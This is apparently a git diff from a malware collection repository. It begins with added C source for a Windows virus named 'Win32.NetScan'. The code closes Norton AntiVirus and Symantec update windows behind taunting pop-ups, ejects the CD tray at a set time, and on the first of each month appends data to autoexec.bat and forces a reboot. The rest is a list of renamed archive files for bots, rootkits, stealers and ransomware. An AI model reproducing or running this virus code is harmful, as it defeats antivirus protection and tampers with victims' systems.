(LPSECURITY_ATTRIBUTES)NULL, + FALSE, + 0, + NULL, + NULL, + &NetScanInfo, + &NetScanProc)) +{ +CloseHandle(NetScanProc.hProcess); +CloseHandle(NetScanProc.hThread); +} +if(CreateMutex(NULL,TRUE,GetNetScanPath)==NULL) + ExitProcess(0); +SetPriorityClass(NetScanProc.hProcess,REALTIME_PRIORITY_CLASS); +MyServProcs(NetScanProc.dwProcessId,1); +GetSystemTime(&TriggerScanTime); +//Close windows which title is WINDOWS +WindowsHwnd = FindWindow(NULL,"WINDOWS"); +if(WindowsHwnd!=NULL) + DestroyWindow(WindowsHwnd); +//Close access to Symantec HomePage +SymantecHwnd = FindWindow(NULL,"Symantec Security Updates - Home Page - Microsoft Internet Explorer"); +if(SymantecHwnd!=NULL) +{ + MessageBox(NULL,"You don't have access to this page\nPlease contact the web master to correct this problem\n","Microsoft Internet Explorer",MB_OK|MB_ICONEXCLAMATION|MB_ICONSTOP); + DestroyWindow(SymantecHwnd); +} +//Anti Norton Antivirus +NAVHwnd = FindWindow(NULL,"Norton AntiVirus"); +if(NAVHwnd !=NULL) +{ + MessageBox(NULL,"Ha Ha Ha Ha!!!!, you use NAV?????\nI can allow access to it\nChange AV now","Win32.NetScan",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL); + DestroyWindow(NAVHwnd); +} +if((TriggerScanTime.wHour==12)&&(TriggerScanTime.wMinute==12)) +{ + mciSendString("open cdaudio",NULL,0,NULL); + mciSendString("set cdaudio door open",NULL,0,NULL); + mciSendString("close cdaudio",NULL,0,NULL); + mciSendString("open cdaudio",NULL,0,NULL); + mciSendString("set cdaudio audio all off",NULL,0,NULL); + mciSendString("close cdaudio",NULL,0,NULL); + MessageBeep(MB_ICONEXCLAMATION); +} +if(TriggerScanTime.wDay==1) +{ + MessageBox(NULL,"It's the day that your PC is going to scan or maybe going to disappear","Win32.Netscan",MB_OK|MB_ICONEXCLAMATION); + SetCurrentDirectory("C:\\"); + AutoBat = CreateFile("autoexec.bat",GENERIC_WRITE,0,(LPSECURITY_ATTRIBUTES) NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE) NULL); + SetFilePointer(AutoBat, 0, (LPLONG)NULL,FILE_END); + WriteFile(AutoBat,MyBuffer,sizeof(MyBuffer),&ExtInf,NULL); + CloseHandle(AutoBat); + ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0); +} +FreeLibrary(GetKernLib); +return 0; +} + + +************************************************************************* + +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#include +#include \ No newline at end of file diff --git a/Win32/Generic Crimeware/Win32.NinjaBot.zip b/Win32/Win32.NinjaBot.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.NinjaBot.zip rename to Win32/Win32.NinjaBot.zip diff --git a/Win32/Generic Crimeware/Win32.NiteAim.7z b/Win32/Win32.NiteAim.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.NiteAim.7z rename to Win32/Win32.NiteAim.7z diff --git a/Win32/Generic Crimeware/Win32.Norman.7z b/Win32/Win32.Norman.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Norman.7z rename to Win32/Win32.Norman.7z diff --git a/Win32/Generic Crimeware/Win32.Null.7z b/Win32/Win32.Null.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Null.7z rename to Win32/Win32.Null.7z diff --git a/Win32/Generic Crimeware/Win32.Nullbot.7z b/Win32/Win32.Nullbot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Nullbot.7z rename to Win32/Win32.Nullbot.7z diff --git a/Win32/Generic Crimeware/Win32.OgWorm.7z b/Win32/Win32.OgWorm.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.OgWorm.7z rename to Win32/Win32.OgWorm.7z diff --git a/Win32/Generic Crimeware/Win32.Osc.zip b/Win32/Win32.Osc.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Osc.zip rename to Win32/Win32.Osc.zip diff --git a/Win32/Generic Crimeware/Win32.PBot.a.rar b/Win32/Win32.PBot.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PBot.a.rar rename to Win32/Win32.PBot.a.rar diff --git a/Win32/Generic Crimeware/Win32.Plague.7z b/Win32/Win32.Plague.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Plague.7z rename to Win32/Win32.Plague.7z diff --git a/Win32/Generic Crimeware/Win32.Poshspy.7z b/Win32/Win32.Poshspy.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Poshspy.7z rename to Win32/Win32.Poshspy.7z diff --git a/Win32/Generic Crimeware/Win32.PowerLoader.7z b/Win32/Win32.PowerLoader.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.PowerLoader.7z rename to Win32/Win32.PowerLoader.7z diff --git a/Win32/Generic Crimeware/Win32.PredatorTheMiner.s.7z b/Win32/Win32.PredatorTheMiner.s.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.PredatorTheMiner.s.7z rename to Win32/Win32.PredatorTheMiner.s.7z diff --git a/Win32/Generic Crimeware/Win32.PureCrypt.rar b/Win32/Win32.PureCrypt.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PureCrypt.rar rename to Win32/Win32.PureCrypt.rar diff --git a/Win32/Generic Crimeware/Win32.Pwnbot.7z b/Win32/Win32.Pwnbot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Pwnbot.7z rename to Win32/Win32.Pwnbot.7z diff --git a/Win32/Generic Crimeware/Win32.Q8Bot.7z b/Win32/Win32.Q8Bot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Q8Bot.7z rename to Win32/Win32.Q8Bot.7z diff --git a/Win32/Generic Crimeware/Win32.RansomWar.rar b/Win32/Win32.RansomWar.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RansomWar.rar rename to Win32/Win32.RansomWar.rar diff --git a/Win32/Generic Crimeware/Win32.Rat.a.7z b/Win32/Win32.Rat.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rat.a.7z rename to Win32/Win32.Rat.a.7z diff --git a/Win32/Generic Crimeware/Win32.Ravbot.rar b/Win32/Win32.Ravbot.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Ravbot.rar rename to Win32/Win32.Ravbot.rar diff --git a/Win32/Generic Crimeware/Win32.Retro.7z b/Win32/Win32.Retro.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Retro.7z rename to Win32/Win32.Retro.7z diff --git a/Win32/Generic Crimeware/Win32.ReverseSocksBot.7z b/Win32/Win32.ReverseSocksBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ReverseSocksBot.7z rename to Win32/Win32.ReverseSocksBot.7z diff --git a/Win32/Novel Malware/Win32.Rootkit.Alpha.a.c.7z b/Win32/Win32.Rootkit.Alpha.a.c.7z similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.Alpha.a.c.7z rename to Win32/Win32.Rootkit.Alpha.a.c.7z diff --git a/Win32/Novel Malware/Win32.Rootkit.GpuWinJelly.a.zip b/Win32/Win32.Rootkit.GpuWinJelly.a.zip similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.GpuWinJelly.a.zip rename to Win32/Win32.Rootkit.GpuWinJelly.a.zip diff --git a/Win32/Novel Malware/Win32.Rootkit.He4.rar b/Win32/Win32.Rootkit.He4.rar similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.He4.rar rename to Win32/Win32.Rootkit.He4.rar diff --git a/Win32/Novel Malware/Win32.Rootkit.Ibmis.rar b/Win32/Win32.Rootkit.Ibmis.rar similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.Ibmis.rar rename to Win32/Win32.Rootkit.Ibmis.rar diff --git a/Win32/Novel Malware/Win32.Rootkit.SMMRootkit.rar b/Win32/Win32.Rootkit.SMMRootkit.rar similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.SMMRootkit.rar rename to Win32/Win32.Rootkit.SMMRootkit.rar diff --git a/Win32/Novel Malware/Win32.Rootkit.Sock.b.7z b/Win32/Win32.Rootkit.Sock.b.7z similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.Sock.b.7z rename to Win32/Win32.Rootkit.Sock.b.7z diff --git a/Win32/Novel Malware/Win32.Rootkit.Zion.a.rar b/Win32/Win32.Rootkit.Zion.a.rar similarity index 100% rename from Win32/Novel Malware/Win32.Rootkit.Zion.a.rar rename to Win32/Win32.Rootkit.Zion.a.rar diff --git a/Win32/Generic Crimeware/Win32.Rubilyn.7z b/Win32/Win32.Rubilyn.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rubilyn.7z rename to Win32/Win32.Rubilyn.7z diff --git a/Win32/Generic Crimeware/Win32.S5.7z b/Win32/Win32.S5.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.S5.7z rename to Win32/Win32.S5.7z diff --git a/Win32/Generic Crimeware/Win32.Sbx.amk.7z b/Win32/Win32.Sbx.amk.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Sbx.amk.7z rename to Win32/Win32.Sbx.amk.7z diff --git a/Win32/Generic Crimeware/Win32.ShellbotFTP.7z b/Win32/Win32.ShellbotFTP.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ShellbotFTP.7z rename to Win32/Win32.ShellbotFTP.7z diff --git a/Win32/Generic Crimeware/Win32.Sinapps.7z b/Win32/Win32.Sinapps.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Sinapps.7z rename to Win32/Win32.Sinapps.7z diff --git a/Win32/Generic Crimeware/Win32.Sinowal.7z b/Win32/Win32.Sinowal.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Sinowal.7z rename to Win32/Win32.Sinowal.7z diff --git a/Win32/Generic Crimeware/Win32.Skun.l.7z b/Win32/Win32.Skun.l.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Skun.l.7z rename to Win32/Win32.Skun.l.7z diff --git a/Win32/Generic Crimeware/Win32.Skuz.7z b/Win32/Win32.Skuz.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Skuz.7z rename to Win32/Win32.Skuz.7z diff --git a/Win32/Generic Crimeware/Win32.SkyDance.bb.7z b/Win32/Win32.SkyDance.bb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.SkyDance.bb.7z rename to Win32/Win32.SkyDance.bb.7z diff --git a/Win32/Generic Crimeware/Win32.Small.7z b/Win32/Win32.Small.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Small.7z rename to Win32/Win32.Small.7z diff --git a/Win32/Generic Crimeware/Win32.Spaz.b.7z b/Win32/Win32.Spaz.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Spaz.b.7z rename to Win32/Win32.Spaz.b.7z diff --git a/Win32/Generic Crimeware/Win32.Splitter.d.zip b/Win32/Win32.Splitter.d.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Splitter.d.zip rename to Win32/Win32.Splitter.d.zip diff --git a/Win32/Generic Crimeware/Win32.Stealer.SophStealer.zip b/Win32/Win32.Stealer.SophStealer.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Stealer.SophStealer.zip rename to Win32/Win32.Stealer.SophStealer.zip diff --git a/Win32/Generic Crimeware/Win32.Steam.7z b/Win32/Win32.Steam.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Steam.7z rename to Win32/Win32.Steam.7z diff --git a/Win32/Generic Crimeware/Win32.Stellar.a.7z b/Win32/Win32.Stellar.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Stellar.a.7z rename to Win32/Win32.Stellar.a.7z diff --git a/Win32/Generic Crimeware/Win32.Stolich.7z b/Win32/Win32.Stolich.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Stolich.7z rename to Win32/Win32.Stolich.7z diff --git a/Win32/Generic Crimeware/Win32.Stukach.7z b/Win32/Win32.Stukach.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Stukach.7z rename to Win32/Win32.Stukach.7z diff --git a/Win32/Generic Crimeware/Win32.Sutoxin.zip b/Win32/Win32.Sutoxin.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Sutoxin.zip rename to Win32/Win32.Sutoxin.zip diff --git a/Win32/Generic Crimeware/Win32.Tank.7z b/Win32/Win32.Tank.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Tank.7z rename to Win32/Win32.Tank.7z diff --git a/Win32/Generic Crimeware/Win32.TgSpy.b.zip b/Win32/Win32.TgSpy.b.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.TgSpy.b.zip rename to Win32/Win32.TgSpy.b.zip diff --git a/Win32/Generic Crimeware/Win32.TinyFWB.7z b/Win32/Win32.TinyFWB.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.TinyFWB.7z rename to Win32/Win32.TinyFWB.7z diff --git a/Win32/Generic Crimeware/Win32.TinyNuke.7z b/Win32/Win32.TinyNuke.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.TinyNuke.7z rename to Win32/Win32.TinyNuke.7z diff --git a/Win32/Generic Crimeware/Win32.TribeFloodNet.bk.7z b/Win32/Win32.TribeFloodNet.bk.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.TribeFloodNet.bk.7z rename to Win32/Win32.TribeFloodNet.bk.7z diff --git a/Win32/Generic Crimeware/Win32.Trochilus.7z b/Win32/Win32.Trochilus.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Trochilus.7z rename to Win32/Win32.Trochilus.7z diff --git a/Win32/Generic Crimeware/Win32.Tsgh.7z b/Win32/Win32.Tsgh.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Tsgh.7z rename to Win32/Win32.Tsgh.7z diff --git a/Win32/Generic Crimeware/Win32.UBoat.b.zip b/Win32/Win32.UBoat.b.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.UBoat.b.zip rename to Win32/Win32.UBoat.b.zip diff --git a/Win32/Generic Crimeware/Win32.UmbraLoader.7z b/Win32/Win32.UmbraLoader.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.UmbraLoader.7z rename to Win32/Win32.UmbraLoader.7z diff --git a/Win32/Generic Crimeware/Win32.UnkBot.7z b/Win32/Win32.UnkBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.UnkBot.7z rename to Win32/Win32.UnkBot.7z diff --git a/Win32/Generic Crimeware/Win32.VIrc.rar b/Win32/Win32.VIrc.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.VIrc.rar rename to Win32/Win32.VIrc.rar diff --git a/Win32/Generic Crimeware/Win32.VbBot.zip b/Win32/Win32.VbBot.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.VbBot.zip rename to Win32/Win32.VbBot.zip diff --git a/Win32/Generic Crimeware/Win32.Volk.7z b/Win32/Win32.Volk.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Volk.7z rename to Win32/Win32.Volk.7z diff --git a/Win32/Generic Crimeware/Win32.WBot.7z b/Win32/Win32.WBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.WBot.7z rename to Win32/Win32.WBot.7z diff --git a/Win32/Generic Crimeware/Win32.Wiseg3ck0.7z b/Win32/Win32.Wiseg3ck0.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Wiseg3ck0.7z rename to Win32/Win32.Wiseg3ck0.7z diff --git a/Win32/Generic Crimeware/Win32.Woodworm.7z b/Win32/Win32.Woodworm.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Woodworm.7z rename to Win32/Win32.Woodworm.7z diff --git a/Win32/Generic Crimeware/Win32.WoopieBot.7z b/Win32/Win32.WoopieBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.WoopieBot.7z rename to Win32/Win32.WoopieBot.7z diff --git a/Win32/Generic Crimeware/Win32.XBot.7z b/Win32/Win32.XBot.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.XBot.7z rename to Win32/Win32.XBot.7z diff --git a/Win32/Generic Crimeware/Win32.XFireSpread.7z b/Win32/Win32.XFireSpread.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.XFireSpread.7z rename to Win32/Win32.XFireSpread.7z diff --git a/Win32/Generic Crimeware/Win32.Xinch.rar b/Win32/Win32.Xinch.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Xinch.rar rename to Win32/Win32.Xinch.rar diff --git a/Win32/Generic Crimeware/Win32.Xtcp.ba.7z b/Win32/Win32.Xtcp.ba.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Xtcp.ba.7z rename to Win32/Win32.Xtcp.ba.7z diff --git a/Win32/Generic Crimeware/Win32.Ya.7z b/Win32/Win32.Ya.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Ya.7z rename to Win32/Win32.Ya.7z diff --git a/Win32/Generic Crimeware/Win32.Zemra.7z b/Win32/Win32.Zemra.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Zemra.7z rename to Win32/Win32.Zemra.7z diff --git a/Win32/Generic Crimeware/Win32.Zero.7z b/Win32/Win32.Zero.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Zero.7z rename to Win32/Win32.Zero.7z diff --git a/Win32/Generic Crimeware/Win32.h3xb0t.rar b/Win32/Win32.h3xb0t.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.h3xb0t.rar rename to Win32/Win32.h3xb0t.rar diff --git a/Win32/Generic Crimeware/Win32.x0rUsb.7z b/Win32/Win32.x0rUsb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.x0rUsb.7z rename to Win32/Win32.x0rUsb.7z